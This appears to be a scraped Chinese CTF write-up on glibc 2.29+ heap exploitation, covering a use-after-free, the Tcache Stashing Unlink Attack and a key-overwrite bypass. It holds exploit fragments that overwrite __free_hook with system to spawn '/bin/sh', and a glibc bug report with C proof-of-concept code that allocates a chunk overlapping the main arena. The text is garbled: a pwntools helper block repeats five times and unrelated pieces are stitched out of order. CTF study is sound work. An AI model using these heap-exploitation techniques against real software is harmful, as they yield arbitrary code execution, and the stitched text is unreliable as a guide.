该题是glibc2.29以上的利用,若开辟大小大于或等于0x100会存在个uaf漏洞,且开辟大小存在范围的,且采用calloc开辟,没法直接利用uaf漏洞来修改tcache bin的fd实现劫持,后面就想采用unsorted bin attack楼改global_max_fast为一个大值,这样就可以采用fastbin attack攻击手段,在我使用unsorted bin attack的时候总是失败,网上一搜,原来glibc2.29以上unsorted bin attack基本已经失效,后面了解到small bin可以代替unsorted bin attack,也了解到glibc.2.29以上一种攻击Tcache Stashing Unlink Attack可以实现任意地址开辟或者unsorted bin attack效果。就学习该手段,一心只想修改global_max_fast后采用fastbin attack,calloc(1, 0x100)次数只能使用3次,有就放弃了该念头,然后想采用Tcache Stashing Unlink Attack来实现任意地址开辟,也搞了半天,tcache bin已经满了,也不能采用其他的大小的small bin,采用unsorted bin 分割搞了半天,还是实现不了其他大小small bin连续两个堆块的连接,后面就做项目去了。。。凌晨过来继续看,我将目光指向了打印flag函数的检查机制,若我能够修改程序初始化的key值,然后再在某个堆中填写我们修改的key值,绕过检查即可打印flag,修改mmap中的随机数key值就采用Tcache Stashing Unlink Attack来修改为main_arena附近的地址,类似与unsorted bin attack,在堆中存放计算好的main_arena附近地址就行,绕过之后就可打印flag。
r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
Bug ID: 25733 Summary: mallopt(M_MXFAST) can set global_max_fast to 0 Product: glibc Version: 2.31 Status: UNCONFIRMED Severity: normal Priority: P2 Component: malloc Assignee: unassigned at sourceware dot org Reporter: maxkamper at outlook dot com Target Milestone: ---
mallopt(M_MXFAST) can set global_max_fast to 0.
This doesn't seem intentional because mallopt(M_MXFAST, 0) sets global_max_fast to SMALLBIN_WIDTH.
Passing a value between 1-7 to mallopt(M_MXFAST, value) sets global_max_fast to 0.
Both malloc.c and the mallopt man page document the legitimate range of values that may be passed to mallopt(M_MXFAST, value) as "0 to 80*sizeof(size_t)/4".
In GLIBC versions >= 2.27 this has the same effect as setting global_max_fast to SMALLBIN_WIDTH, but it is perhaps of some concern in GLIBC versions <= 2.26 because of how global_max_fast is treated as an indicator of main arena initialization by malloc_consolidate().
If the following example is compiled & run under GLIBC version 2.26, a chunk is allocated overlapping the main arena:
// Populate last_remainder, which is treated as the top chunk size field // after main arena re-initialization. void* remainder_me = malloc(0x418); malloc(0x18); // Avoid top chunk consolidation. free(remainder_me); malloc(0x18); // Remainder remainder_me chunk.
// Set global_max_fast to 0. mallopt(M_MXFAST, 7);
// Trigger malloc_consolidate(), which could happen during large // allocations/frees, but for the sake of simplicity here just call // mallopt() again. mallopt(M_MXFAST, 0x78);
// malloc_consolidate() uses global_max_fast to determine if malloc has // been initialized. If global_max_fast is 0, malloc_consolidate() will // re-initialize the main arena, setting its top chunk pointer to an address // within the main arena. Now last_remainder acts as the top chunk size // field. printf("%p\n", malloc(0x418); return0; }
-- You are receiving this mail because: You are on the CC listfor the bug.
r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
if ( flag ) exit(1); puts("which tree do you want to steal?"); v0 = inputn(); if ( v0 >= 0 && v0 <= 8 && p_arr[v0] ) free((void *)p_arr[v0]); // vul flag = 1; }
r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
p = b'A' * 0xd0 p += p64(0) + p64(0x110) p += p64(0) + p64(0)
ad(8, p) rm(0)
rm(8) p = b'A' * 0xd0 p += p64(0) + p64(0x110) p += p64(free_hook) + p64(0) ad(8, p) for i inrange(8): rm(i) for i inrange(7): ad(i, '/bin/sh\x00') ad(7, p64(system)) #db() rm(1)
deffinish(): ia() c()
#--------------------------main----------------------------- if __name__ == '__main__':
#!/usr/bin/env python #-*- coding:utf-8 -*- # Author: i0gan from pwn import * from LibcSearcher import * import os r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')